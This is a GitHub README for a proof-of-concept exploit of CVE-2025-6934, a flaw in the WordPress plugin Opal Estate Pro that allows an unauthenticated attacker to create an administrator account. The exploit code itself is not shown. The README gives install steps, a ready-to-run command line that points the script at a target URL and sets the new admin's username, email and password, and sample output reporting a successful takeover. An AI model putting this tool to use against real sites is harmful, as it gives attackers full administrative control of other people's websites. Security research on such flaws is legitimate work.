yukinime/cve-2025-6934Proof-of-concept exploit for CVE-2025-6934, a critical WordPress Opal Estate Pro plugin vulnerability enabling unauthenticated administrator account creation. Includes automatic version detection, nonce extraction, and AJAX endpoint exploitation.
📖 Description
This repository contains a Proof of Concept (PoC) exploit for CVE-2025-6934,
a critical vulnerability in the WordPress Plugin: Opal Estate Pro <= 1.7.5, which allows creating an administrator account without authentication.
⚠️ Disclaimer: This tool is provided only for educational and security research purposes.
The author is not responsible for any misuse or damage caused.
readme.txtClone the repo and install dependencies:
git clone https://github.com/yukinime/CVE-2025-6934.git
cd CVE-2025-6934
pip3 install -r requirements.txt
requirements.txt
requests
beautifulsoup4
colorama
Run the script with your target:
python3 CVE-2025-6934.py -u http://target.com/ -mail [email protected] -password MySecurePass123 -user newadmin
✅ Example Output:
[✔] Exploit Successful!
Username : newadmin
Email : [email protected]
Password : MySecurePass123
Role : administrator
Exploit Screenshot
Cyberlone Indonesia (Cyberlone)
This project is licensed under the MIT License – see the LICENSE file for details.